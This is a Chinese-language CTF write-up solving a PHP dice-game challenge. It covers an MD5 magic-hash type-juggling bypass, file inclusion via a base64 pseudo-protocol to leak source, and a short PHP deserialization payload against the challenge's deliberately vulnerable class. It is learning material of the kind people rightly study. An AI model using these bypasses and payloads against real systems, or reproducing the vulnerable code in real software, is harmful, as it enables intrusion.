0x1 get contents
进入题目看到一个PHP小游戏
, 是个关于骰子的, 可以猜骰子的数字和选择当前的倍数, 有1000本金.
题目给了个提示
$md5=@md5($money);
$md5_1=$money;
...
if ((md5($md5_1)==md5('xxx'))&&(!($md5_1=='xxx'))) {
echo '<script>alter("flag{I.......
应该又是md5的弱类型比较. 继续看.
有个说明
按钮, 点击之后查看url
嗯, 文件包含… 包含谁呢…
扫描一下.
存在git泄露, 但是没什么关键内容, 看一下robots.txt
, 发现了hint.php
0x2 let’s go
使用伪协议包含hint.php试试.
数层的base64
后, 得到了一段php代码
index.php
$md5=@md5($money);
$md5_2=md5('s878926199a');
if ((md5($md5_1)==md5('s878926199a'))&&(!($md5_1=='s878926199a'))) {
echo '<script>alter("flag{......
..........
意思就是$money的md5要等于s878926199a
的md5, 但是$money不能等于s878926199a
.
$money在哪传? 看一眼cookie., 有一个被base64编码的money=…., 去找一个纯数字,MD5开头又是0e,那只有240610708
.
这里挺恶心的, 传入的money不用base64编码, 需要猜对的情况下才会出现, 就…多试几次.
得到dejavu_c_t_f.php
0x3 反序列化
访问之后发现是反序列化
<?php
error_reporting(0);
show_source(__FILE__);
class create{
var $name='ctfer';
var $age='19';
var $flag='yingzi';
function __wakeup(){
$user->name=$this->name;
$user->age=$this->age;
$user->flag=$this->flag;
$this->drive();
$this->getflag();
}
function getflag(){
if ($this->flag=='yingzi') {
include_once "./flag.php";
echo($flag);
}else {
echo 'Your car turned over.';
}
}
function drive(){
if ($this->age<18) {
exit("FBI warning!!"."<br>");
}
}
}
$arg=$_GET['arg'];
if (strlen($arg)<61) {
unserialize($arg);
}else{
echo "???";
}
$a=new create;
echo serialize($a);
?>
O:6:"create":3:{s:4:"name";s:5:"ctfer";s:3:"age";s:2:"19";s:4:"flag";s:6:"yingzi";}
没什么特别的, 只是限制反序列化字符串的长度, 把用不到的属性删掉.
O:6:"create":2:{s:3:"age";s:2:"19";s:4:"flag";s:6:"yingzi";}
flag{it_is_not_hard}
SELF LEARNING & SHARE